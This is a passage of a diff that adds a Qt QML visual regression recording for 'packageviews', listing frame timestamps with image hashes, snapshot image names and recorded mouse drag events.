"49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2784 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2800 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2816 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2832 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2848 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2864 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2880 + image: "packageviews.2.png" + } + Frame { + msec: 2896 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2912 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2928 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2944 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2960 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2976 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 2992 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3008 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3024 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3040 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3056 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3072 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3088 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3104 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3120 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3136 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3152 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3168 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3184 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3200 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3216 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3232 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3248 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3264 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3280 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3296 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3312 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3328 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3344 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3360 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3376 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3392 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 49; y: 162 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3408 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Frame { + msec: 3424 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 49; y: 161 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3440 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 49; y: 159 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 48; y: 157 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3456 + hash: "49903693b112d5f35c4e877bef6bbdb0" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 48; y: 153 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 48; y: 149 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3472 + hash: "1c84452b0ce90ae6f136f5bcce408220" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 50; y: 144 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 50; y: 138 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 50; y: 138 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 3488 + hash: "4c77d402b995297dadb5e671f071605f" + } + Frame { + msec: 3504 + hash: "babd28626a81bd48b39b56f8da69c360" + } + Frame { + msec: 3520 + hash: "71654a76f9b94fafaf3767003598fb96" + } + Frame { + msec: 3536 + hash: "87ad69a660e072e71f940db93be3a949" + } + Frame { + msec: 3552 + hash: "147f7f3f1913bc5ac5889c1a4daa8026" + } + Frame { + msec: 3568 + hash: "9c26b3ad7a5dacd56028afa7bf4deef6" + } + Frame { + msec: 3584 + hash: "18611ff90e5af36c9b6396c3df4cd646" + } + Frame { + msec: 3600 + hash: "84701fd73ed8e1951bd4c806b70654ac" + } + Frame { + msec: 3616 + hash: "42b40f1683beb23f4fe5ade066c0626f" + } + Frame { + msec: 3632 + hash: "8c6aeefaa6f36cdffcf7bdb1597c6fbe" + } + Frame { + msec: 3648 + hash: "731cea2e0d8fb8aac6ae919b23b89b87" + } + Frame { + msec: 3664 + hash: "d4dc70a8e09e7ec03e7c1f5123b7abef" + } + Frame { + msec: 3680 + hash: "5246e2f52aa104e8030eef105a5b5a7c" + } + Frame { + msec: 3696 + hash: "a9c3d0034c09ba81d19d57ff550d7b4f" + } + Frame { + msec: 3712 + hash: "e9092b1be19273f1f29912cd493dd238" + } + Frame { + msec: 3728 + hash: "c2b19c7b818c94e932558676a026f049" + } + Frame { + msec: 3744 + hash: "6627c4d6daab8e6500dbd0d921bc1ebd" + } + Frame { + msec: 3760 + hash: "45c584ca18e8bfd6aa495c16a977662a" + } + Frame { + msec: 3776 + hash: "de79039a8bb623f7d48afe1549ae23e0" + } + Frame { + msec: 3792 + hash: "076d29278466038071095093266553f5" + } + Frame { + msec: 3808 + hash: "73ed162dc5f9983bf22446f63691f7e4" + } + Frame { + msec: 3824 + hash: "4cc3648635884a69191f0cfe2051f621" + } + Frame { + msec: 3840 + image: "packageviews.3.png" + } + Frame { + msec: 3856 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 3872 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 3888 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 3904 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 3920 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 3936 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 3952 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 3968 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 3984 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4000 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4016 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4032 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4048 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4064 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4080 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4096 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4112 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4128 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4144 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4160 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4176 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4192 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4208 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4224 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4240 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4256 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4272 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4288 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4304 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4320 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4336 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4352 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Frame { + msec: 4368 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 151; y: 170 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 151; y: 168 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4384 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 152; y: 166 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 153; y: 163 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4400 + hash: "d06fbe4c7dd8bd392172aa5b29c6ceee" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 160 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 155; y: 154 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4416 + hash: "ac75b9adaecd10206c4daa07c93adb27" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 155; y: 148 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 156; y: 141 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4432 + hash: "539ec244fd42801cfcf97adc12f48786" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 121 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4448 + hash: "7d7bc6f7d2ff1da352ddab0d679906e7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 162; y: 101 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 166; y: 83 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 166; y: 83 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 4464 + hash: "4b508eb55971a03c6dc8a50d0244fa21" + } + Frame { + msec: 4480 + hash: "2ceb497ca10e6448a019b62a225a72e4" + } + Frame { + msec: 4496 + hash: "1fd9b89ebcb8e707c9b1b13ba64061b4" + } + Frame { + msec: 4512 + hash: "24a3a48843860f643e55ca6dfec84f98" + } + Frame { + msec: 4528 + hash: "48ea9398101f44a707c44ee1c5102d0c" + } + Frame { + msec: 4544 + hash: "d8f2cebcdb542e75bbbaa4391ca881b8" + } + Frame { + msec: 4560 + hash: "df35827ac111c67588922aadd45b3c85" + } + Frame { + msec: 4576 + hash: "c1e612548c8d5c2f844e94ad4c0f1db4" + } + Frame { + msec: 4592 + hash: "c298bccebeb1f4528c935e5fd256479c" + } + Frame { + msec: 4608 + hash: "4c01d969eba4eca32b8a3b7f6f9c99f0" + } + Frame { + msec: 4624 + hash: "66c783ae698cb91195088591a9bd67c1" + } + Frame { + msec: 4640 + hash: "5419f6889162fb0db6b8c9e521f57f4f" + } + Frame { + msec: 4656 + hash: "d153dbf30acf36145d7fcb8e37dd5c6d" + } + Frame { + msec: 4672 + hash: "ffbf186683dc979ef29cdd5ff50296fc" + } + Frame { + msec: 4688 + hash: "ddcedde95d1ebcafe5b73924ecfa047a" + } + Frame { + msec: 4704 + hash: "d94b9e92f2c1a5e0ea2f8dd21a905517" + } + Frame { + msec: 4720 + hash: "92c27d497128ccdcbfe8224a0f55a302" + } + Frame { + msec: 4736 + hash: "7146017581b03e6551822653e54d5001" + } + Frame { + msec: 4752 + hash: "a39567e01b8963d3b71f5f525d1582d4" + } + Frame { + msec: 4768 + hash: "842654ef5a24143e41412b2450b6024c" + } + Frame { + msec: 4784 + hash: "c2a002588b4b3f89806d6d283c39ea54" + } + Frame { + msec: 4800 + image: "packageviews.4.png" + } + Frame { + msec: 4816 + hash: "2bea5cc22ea4989f8f07fbf62d09880b" + } + Frame { + msec: 4832 + hash: "b8326b959b75b05c050ff91f0c34fa55" + } + Frame { + msec: 4848 + hash: "d5f2e63bd18b2067221ec80764c7500d" + } + Frame { + msec: 4864 + hash: "157f93ebaa95664965539237ba121265" + } + Frame { + msec: 4880 + hash: "5bda47a6295e500f24b6ba7bf04e9282" + } + Frame { + msec: 4896 + hash: "0134d543cfbf085eb4b5ea4a0f5ae32f" + } + Frame { + msec: 4912 + hash: "d27f2ad3bd9817c23caf01ba64335776" + } + Frame { + msec: 4928 + hash: "4dd96288601f4481a24b75afedd34599" + } + Frame { + msec: 4944 + hash: "d5ebfbd190fe2482af54004ad9434818" + } + Frame { + msec: 4960 + hash: "6a8c5c64228b3be521407e00c2b6a1de" + } + Frame { + msec: 4976 + hash: "645219e7aa6761bef1b11ac8f17f1f42" + } + Frame { + msec: 4992 + hash: "54fff3170fa43d99eca2c87381ecaf1e" + } + Frame { + msec: 5008 + hash: "54fff3170fa43d99eca2c87381ecaf1e" + } + Frame { + msec: 5024 + hash: "00c3c11b9b266504b8cdbdf4edcc3a98" + } + Frame { + msec: 5040 + hash: "00c3c11b9b266504b8cdbdf4edcc3a98" + } + Frame { + msec: 5056 + hash: "00c3c11b9b266504b8cdbdf4edcc3a98" + } + Frame { + msec: 5072 + hash: "54fff3170fa43d99eca2c87381ecaf1e" + } + Frame { + msec: 5088 + hash: "6a8c5c64228b3be521407e00c2b6a1de" + } + Frame { + msec: 5104 + hash: "f91cea801322d1bc6ac1b9eeae96c704" + } + Frame { + msec: 5120 + hash: "d27f2ad3bd9817c23caf01ba64335776" + } + Frame { + msec: 5136 + hash: "5bda47a6295e500f24b6ba7bf04e9282" + } + Frame { + msec: 5152 + hash: "d5f2e63bd18b2067221ec80764c7500d" + } + Frame { + msec: 5168 + hash: "b10145c10c2bc9d01ec6a49a399f728e" + } + Frame { + msec: 5184 + hash: "f0b759a49bf21b0c9b311a1dd02d7807" + } + Frame { + msec: 5200 + hash: "1c5546c3ddbde95d10921c8c32fd2d67" + } + Frame { + msec: 5216 + hash: "c2a002588b4b3f89806d6d283c39ea54" + } + Frame { + msec: 5232 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5248 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5264 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5280 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5296 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5312 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5328 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5344 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5360 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5376 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5392 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5408 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5424 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5440 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5456 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5472 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5488 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5504 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5520 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5536 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5552 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5568 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5584 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5600 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5616 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5632 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5648 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5664 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5680 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5696 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5712 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5728 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5744 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5760 + image: "packageviews.5.png" + } + Frame { + msec: 5776 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5792 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5808 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5824 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5840 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5856 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5872 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5888 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5904 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5920 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5936 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5952 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5968 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 5984 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6000 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6016 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6032 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6048 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6064 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6080 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6096 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6112 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6128 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6144 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6160 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6176 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6192 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6208 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6224 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6240 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6256 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6272 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6288 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6304 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6320 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6336 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6352 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6368 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6384 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6400 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6416 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6432 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6448 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6464 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6480 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6496 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6512 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 177; y: 168 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6528 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6544 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6560 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6576 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 178; y: 168 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6592 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 178; y: 168 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6608 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6624 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6640 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6656 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6672 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6688 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6704 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6720 + image: "packageviews.6.png" + } + Frame { + msec: 6736 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6752 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6768 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6784 + hash: "1eb5d2140ff3c71d55a6e5338dd2853e" + } + Frame { + msec: 6800 + hash: "f6de07972a225d276b4b5c424dc490ef" + } + Frame { + msec: 6816 + hash: "d8c400ca33d590a9b4d9b179b5634d94" + } + Frame { + msec: 6832 + hash: "21ec87c22e52b3daa78bd94b771a105c" + } + Frame { + msec: 6848 + hash: "19a3667f4051e40e944ec58abb16846a" + } + Frame { + msec: 6864 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 6880 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 6896 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 6912 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 6928 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 6944 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 6960 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 6976 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 6992 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7008 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7024 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7040 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7056 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7072 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7088 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7104 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7120 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7136 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7152 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7168 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7184 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7200 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7216 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7232 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7248 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7264 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7280 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7296 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7312 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7328 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7344 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7360 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7376 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7392 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7408 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 157; y: 37 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7424 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Frame { + msec: 7440 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 39 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7456 + hash: "08369a783b1f1f4e64da7dab40df6ef3" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 44 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 51 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7472 + hash: "e8ad02d4c2429a03ff0686888e4038bf" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 157; y: 59 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 158; y: 67 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7488 + hash: "43dcc86aeff3b8b74ae1b87e735e8963" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 158; y: 87 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 158; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7504 + hash: "96e10ce9e5a80caf626213e5c696d84d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 160; y: 116 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7520 + hash: "3b34cb99481d5418136840afd649807d" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 164; y: 134 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 164; y: 134 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7536 + hash: "494cf05eb3d8eb221d0e3c233c936e87" + } + Frame { + msec: 7552 + hash: 